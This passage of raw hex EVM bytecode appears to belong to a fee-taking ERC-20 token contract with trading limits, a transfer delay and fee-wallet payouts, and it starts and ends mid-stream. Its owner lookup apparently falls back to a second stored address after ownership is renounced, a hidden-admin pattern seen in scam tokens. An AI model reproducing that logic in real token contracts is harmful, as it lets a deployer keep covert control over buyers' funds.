2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a6b9190613738565b60405180910390a380806001019150506109ba565b50505050565b610a8e612aaf565b6001601160066101000a81548160ff0219169083151502179055506000601160026101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b600c5481565b601160049054906101000a900460ff1681565b60006009905090565b600080600080601160029054906101000a900460ff169350601160039054906101000a900460ff169250600e549150600f54905090919293565b6000610bf1610b5c611bc8565b848460016000610b6a611bc8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bec9190613da5565b611bd0565b6001905092915050565b601160069054906101000a900460ff1681565b610c16612aaf565b6005811015610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613e4b565b60405180910390fd5b6103e8610c656108a7565b82610c709190613e6b565b610c7a9190613edc565b600e819055507f12528a3c61e0f3b2d6fc707a9fc58b1af86e252cad0d7f4c154ebeabb162dace600e54604051610cb19190613738565b60405180910390a150565b610cc4612aaf565b8160148190555080601581905550601554601454610ce29190613da5565b60138190555060646013541115610d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2590613f7f565b60405180910390fd5b7f38513c502b0ab4834ac1df9502b76f75dcf7092469782cfd0db7fe664388e25e601354601454601554604051610d6793929190613f9f565b60405180910390a15050565b610d7b612aaf565b6002811015610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690614022565b60405180910390fd5b6103e8610dca6108a7565b82610dd59190613e6b565b610ddf9190613edc565b600f819055507fff3dd5e80294197918c284bbfc3dadd97d0b40ce92106110946329088f80068a600f54604051610e169190613738565b60405180910390a150565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e71612aaf565b610e7b6000612b2d565b565b610e85612aaf565b610258831015610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec1906140b4565b60405180910390fd5b6103e88211158015610edd575060008210155b610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390614146565b60405180910390fd5b82600c8190555081600b8190555080601160046101000a81548160ff021916908315150217905550505050565b610f51612aaf565b60005b83839050811015610fea5781601e6000868685818110610f7757610f76613d47565b5b9050602002016020810190610f8c9190613954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610f54565b50505050565b6000806000601160019054906101000a900460ff1692506009549150600a549050909192565b6000601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546110a590613c84565b80601f01602080910402602001604051908101604052809291908181526020018280546110d190613c84565b801561111e5780601f106110f35761010080835404028352916020019161111e565b820191906000526020600020905b81548152906001019060200180831161110157829003601f168201915b5050505050905090565b601160059054906101000a900460ff1681565b611143612aaf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb91dbdeaf34f885ccae2d8abc3967cb03c079b6af2c7944e3893fd29427d75e760405160405180910390a380601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61120b612aaf565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361129b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611292906141d8565b60405180910390fd5b6112a58282612bf3565b5050565b6112b1612aaf565b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161134e919061370e565b60405180910390a25050565b611362612aaf565b81601781905550806018819055506018546017546113809190613da5565b601681905550606460165411156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c39061426a565b60405180910390fd5b7fcb5f36df892836a2eaedc349de29a7581176990398ee185d16eaa8f6c1abd8f160165460175460185460405161140593929190613f9f565b60405180910390a15050565b60008060016000611420611bc8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d4906142fc565b60405180910390fd5b6114f16114e8611bc8565b85858403611bd0565b600191505092915050565b600d5481565b600061151661150f611bc8565b8484611d99565b6001905092915050565b611528612aaf565b601160079054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380601160076101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115f0612aaf565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61163c612aaf565b6001821015611680576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116779061438e565b60405180910390fd5b818110156116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90614420565b60405180910390fd5b82601160016101000a81548160ff021916908315150217905550612710826116e96108a7565b6116f39190613e6b565b6116fd9190613edc565b6009819055506127108161170f6108a7565b6117199190613e6b565b6117239190613edc565b600a819055507f52cd2cdb42ff0eeec9362d7ed5b04f64c8d022697128b5378fc51cea7e63c77983838360405161175c93929190613a60565b60405180910390a1505050565b611771612aaf565b60001515601160059054906101000a900460ff161515036117ac576001601160056101000a81548160ff0219169083151502179055506117c8565b6000601160056101000a81548160ff0219169083151502179055505b565b6117d2612aaf565b6000601160026101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169250601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690509193909250565b6119a4612aaf565b6000601160036101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611a1c612aaf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a82906144b2565b60405180910390fd5b611a9481612b2d565b50565b600080600080600080601354955060145494506015549350601654925060175491506018549050909192939495565b600080601160079054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915091509091565b611b1f612aaf565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051611bbc919061370e565b60405180910390a25050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3690614544565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca5906145d6565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d8c9190613738565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dff90614668565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6e906146fa565b60405180910390fd5b60011515601160059054906101000a900460ff1615150315612aaa5760008103611eac57611ea783836000612c94565b612aaa565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611f385743601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160029054906101000a900460ff16156125fd57611f5561106c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fc35750611f9361106c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ffc5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612036575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561204f5750601160009054906101000a900460ff16155b156125fc57601160069054906101000a900460ff1661214957601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121095750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213f9061478c565b60405180910390fd5b5b601160039054906101000a900460ff16156123135761216661106c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121ed57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122475750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123125743601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106122cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c490614844565b60405180910390fd5b43601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123b65750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561245d57600f54811115612400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f7906148d6565b60405180910390fd5b600e5461240c83610e21565b826124179190613da5565b1115612458576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244f90614942565b60405180910390fd5b6125fb565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125005750601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561254f57600f5481111561254a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612541906149d4565b60405180910390fd5b6125fa565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166125f957600e546125ac83610e21565b826125b79190613da5565b11156125f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ef90614942565b60405180910390fd5b5b5b5b5b5b600061260830610e21565b90506000600954821015905080801561262d5750601160019054906101000a900460ff165b80156126465750601160009054906101000a900460ff16155b801561269c5750601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156126f25750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127485750601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561278c576001601160006101000a81548160ff021916908315150217905550612770612f13565b6000601160006101000a81548160ff0219169083151502179055505b6000601160009054906101000a900460ff16159050601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128425750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561284c57600090505b60008115612a5f57601d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156128af57506000601654115b15612949576128dc60646128ce601654886130d190919063ffffffff16565b6130e790919063ffffffff16565b9050601654601854826128ef9190613e6b565b6128f99190613edc565b601a600082825461290a9190613da5565b92505081905550601654601754826129229190613e6b565b61292c9190613edc565b6019600082825461293d9190613da5565b92505081905550612a3b565b601d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129a457506000601354115b15612a3a576129d160646129c3601354886130d190919063ffffffff16565b6130e790919063ffffffff16565b9050601354601554826129e49190613e6b565b6129ee9190613edc565b601a60008282546129ff9190613da5565b9250508190555060135460145482612a179190613e6b565b612a219190613edc565b60196000828254612a329190613da5565b925050819055505b5b6000811115612a5057612a4f873083612c94565b5b8085612a5c91906149f4565b94505b601160009054906101000a900460ff16158015612a885750601160049054906101000a900460ff165b15612a9a57612a9787866130fd565b94505b612aa5878787612c94565b505050505b505050565b612ab7611bc8565b73ffffffffffffffffffffffffffffffffffffffff16612ad561316c565b73ffffffffffffffffffffffffffffffffffffffff1614612b2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2290614a74565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cfa90614668565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612d72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d69906146fa565b60405180910390fd5b612d7d838383613180565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dfa90614b06565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e969190613da5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612efa9190613738565b60405180910390a3612f0d848484613185565b50505050565b6000612f1e30610e21565b905060008190506000808303612f36575050506130cf565b600a54831115612f4657600a5492505b60008390506000479050612f598261318a565b6000612f6e82476133c790919063ffffffff16565b90506000612f9986612f8b601a54856130d190919063ffffffff16565b6130e790919063ffffffff16565b905060006019819055506000601a81905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051612ff190614b57565b60006040518083038185875af1925050503d806000811461302e576040519150601f19603f3d011682016040523d82523d6000602084013e613033565b606091505b505080955050601160079054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161307f90614b57565b60006040518083038185875af1925050503d80600081146130bc576040519150601f19603f3d011682016040523d82523d6000602084013e6130c1565b606091505b505080955050505050505050505b565b600081836130df9190613e6b565b905092915050565b600081836130f59190613edc565b905092915050565b600080829050601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156131625761315f83856133dd565b90505b8091505092915050565b6000806131776134a1565b90508091505090565b505050565b505050565b6000600267ffffffffffffffff8111156131a7576131a6614b6c565b5b6040519080825280602002602001820160405280156131d55781602001602082028036833780820191505090505b50905030816000815181106131ed576131ec613d47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613292573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132b69190614bb0565b816001815181106132ca576132c9613d47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061332f307f000000000000000000000000000000000000000000000000000000000000000084611bd0565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613391959493929190614ce0565b600060405180830381600087803b1580156133ab57600080fd5b505af11580156133bf573d6000803e3d6000fd5b505050505050565b600081836133d591906149f4565b905092915050565b600080603290506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544361343191906149f4565b9050600082826134419190613e6b565b905060006064821161345f5781606461345a91906149f4565b613462565b60005b90506000606482896134749190613e6b565b61347e9190613edc565b905061349460008261354990919063ffffffff16565b9550505050505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461352057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613544565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081831015613559578161355b565b825b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561359d578082015181840152602081019050613582565b60008484015250505050565b6000601f19601f8301169050919050565b60006135c582613563565b6135cf818561356e565b93506135df81856020860161357f565b6135e8816135a9565b840191505092915050565b6000602082019050818103600083015261360d81846135ba565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061364a8261361f565b9050919050565b61365a8161363f565b811461366557600080fd5b50565b60008135905061367781613651565b92915050565b6000819050919050565b6136908161367d565b811461369b57600080fd5b50565b6000813590506136ad81613687565b92915050565b600080604083850312156136ca576136c9613615565b5b60006136d885828601613668565b92505060206136e98582860161369e565b9150509250929050565b60008115159050919050565b613708816136f3565b82525050565b600060208201905061372360008301846136ff565b92915050565b6137328161367d565b82525050565b600060208201905061374d6000830184613729565b92915050565b60008060006060848603121561376c5761376b613615565b5b600061377a86828701613668565b935050602061378b86828701613668565b925050604061379c8682870161369e565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126137cb576137ca6137a6565b5b8235905067ffffffffffffffff8111156137e8576137e76137ab565b5b602083019150836020820283011115613804576138036137b0565b5b9250929050565b60008060006040848603121561382457613823613615565b5b600084013567ffffffffffffffff8111156138425761384161361a565b5b61384e868287016137b5565b935093505060206138618682870161369e565b9150509250925092565b600060ff82169050919050565b6138818161386b565b82525050565b600060208201905061389c6000830184613878565b92915050565b60006080820190506138b760008301876136ff565b6138c460208301866136ff565b6138d16040830185613729565b6138de6060830184613729565b95945050505050565b6000602082840312156138fd576138fc613615565b5b600061390b8482850161369e565b91505092915050565b6000806040838503121561392b5761392a613615565b5b60006139398582860161369e565b925050602061394a8582860161369e565b9150509250929050565b60006020828403121561396a57613969613615565b5b600061397884828501613668565b91505092915050565b61398a816136f3565b811461399557600080fd5b50565b6000813590506139a781613981565b92915050565b6000806000606084860312156139c6576139c5613615565b5b60006139d48682870161369e565b93505060206139e58682870161369e565b92505060406139f686828701613998565b9150509250925092565b600080600060408486031215613a1957613a18613615565b5b600084013567ffffffffffffffff811115613a3757613a3661361a565b5b613a43868287016137b5565b93509350506020613a5686828701613998565b9150509250925092565b6000606082019050613a7560008301866136ff565b613a826020830185613729565b613a8f6040830184613729565b949350505050565b613aa08161363f565b82525050565b6000602082019050613abb6000830184613a97565b92915050565b60008060408385031215613ad857613ad7613615565b5b6000613ae685828601613668565b9250506020613af785828601613998565b9150509250929050565b600080600060608486031215613b1a57613b19613615565b5b6000613b2886828701613998565b9350506020613b398682870161369e565b9250506040613b4a8682870161369e565b9150509250925092565b60008060408385031215613b6b57613b6a613615565b5b6000613b7985828601613668565b9250506020613b8a85828601613668565b9150509250929050565b6000606082019050613ba960008301866136ff565b613bb660208301856136ff565b613bc360408301846136ff565b949350505050565b600060c082019050613be06000830189613729565b613bed6020830188613729565b613bfa6040830187613729565b613c076060830186613729565b613c146080830185613729565b613c2160a0830184613729565b979650505050505050565b6000604082019050613c416000830185613a97565b613c4e6020830184613a97565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613c9c57607f821691505b602082108103613caf57613cae613c55565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613d1160288361356e565b9150613d1c82613cb5565b604082019050919050565b60006020820190508181036000830152613d4081613d04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613db08261367d565b9150613dbb8361367d565b9250828201905080821115613dd357613dd2613d76565b5b92915050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613e3560248361356e565b9150613e4082613dd9565b604082019050919050565b60006020820190508181036000830152613e6481613e28565b9050919050565b6000613e768261367d565b9150613e818361367d565b9250828202613e8f8161367d565b91508282048414831517613ea657613ea5613d76565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ee78261367d565b9150613ef28361367d565b925082613f0257613f01613ead565b5b828204905092915050565b7f546f74616c20627579206665652063616e6e6f7420626520686967686572207460008201527f68616e2031303025000000000000000000000000000000000000000000000000602082015250565b6000613f6960288361356e565b9150613f7482613f0d565b604082019050919050565b60006020820190508181036000830152613f9881613f5c565b9050919050565b6000606082019050613fb46000830186613729565b613fc16020830185613729565b613fce6040830184613729565b949350505050565b7f43616e6e6f7420736574206d61785478206c6f776572207468616e20302e3225600082015250565b600061400c60208361356e565b915061401782613fd6565b602082019050919050565b6000602082019050818103600083015261403b81613fff565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061409e60338361356e565b91506140a982614042565b604082019050919050565b600060208201905081810360008301526140cd81614091565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b600061413060308361356e565b915061413b826140d4565b604082019050919050565b6000602082019050818103600083015261415f81614123565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006141c260398361356e565b91506141cd82614166565b604082019050919050565b600060208201905081810360008301526141f1816141b5565b9050919050565b7f546f74616c2073656c6c206665652063616e6e6f74206265206869676865722060008201527f7468616e20313030250000000000000000000000000000000000000000000000602082015250565b600061425460298361356e565b915061425f826141f8565b604082019050919050565b6000602082019050818103600083015261428381614247565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006142e660258361356e565b91506142f18261428a565b604082019050919050565b60006020820190508181036000830152614315816142d9565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e30312520746f74616c20737570706c792e000000000000000000000000602082015250565b600061437860348361356e565b91506143838261431c565b604082019050919050565b600060208201905081810360008301526143a78161436b565b9050919050565b7f6d6178696d756d20616d6f756e742063616e742062652068696768657220746860008201527f616e206d696e696d756d00000000000000000000000000000000000000000000602082015250565b600061440a602a8361356e565b9150614415826143ae565b604082019050919050565b60006020820190508181036000830152614439816143fd565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061449c60268361356e565b91506144a782614440565b604082019050919050565b600060208201905081810360008301526144cb8161448f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061452e60248361356e565b9150614539826144d2565b604082019050919050565b6000602082019050818103600083015261455d81614521565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006145c060228361356e565b91506145cb82614564565b604082019050919050565b600060208201905081810360008301526145ef816145b3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061465260258361356e565b915061465d826145f6565b604082019050919050565b6000602082019050818103600083015261468181614645565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146e460238361356e565b91506146ef82614688565b604082019050919050565b60006020820190508181036000830152614713816146d7565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f7420616374697660008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061477660228361356e565b91506147818261471a565b604082019050919050565b600060208201905081810360008301526147a581614769565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061482e60498361356e565b9150614839826147ac565b606082019050919050565b6000602082019050818103600083015261485d81614821565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b60006148c060268361356e565b91506148cb82614864565b604082019050919050565b600060208201905081810360008301526148ef816148b3565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061492c60138361356e565b9150614937826148f6565b602082019050919050565b6000602082019050818103600083015261495b8161491f565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b60006149be60278361356e565b91506149c982614962565b604082019050919050565b600060208201905081810360008301526149ed816149b1565b9050919050565b60006149ff8261367d565b9150614a0a8361367d565b9250828203905081811115614a2257614a21613d76565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614a5e60208361356e565b9150614a6982614a28565b602082019050919050565b60006020820190508181036000830152614a8d81614a51565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614af060268361356e565b9150614afb82614a94565b604082019050919050565b60006020820190508181036000830152614b1f81614ae3565b9050919050565b600081905092915050565b50565b6000614b41600083614b26565b9150614b4c82614b31565b600082019050919050565b6000614b6282614b34565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614baa81613651565b92915050565b600060208284031215614bc657614bc5613615565b5b6000614bd484828501614b9b565b91505092915050565b6000819050919050565b6000819050919050565b6000614c0c614c07614c0284614bdd565b614be7565b61367d565b9050919050565b614c1c81614bf1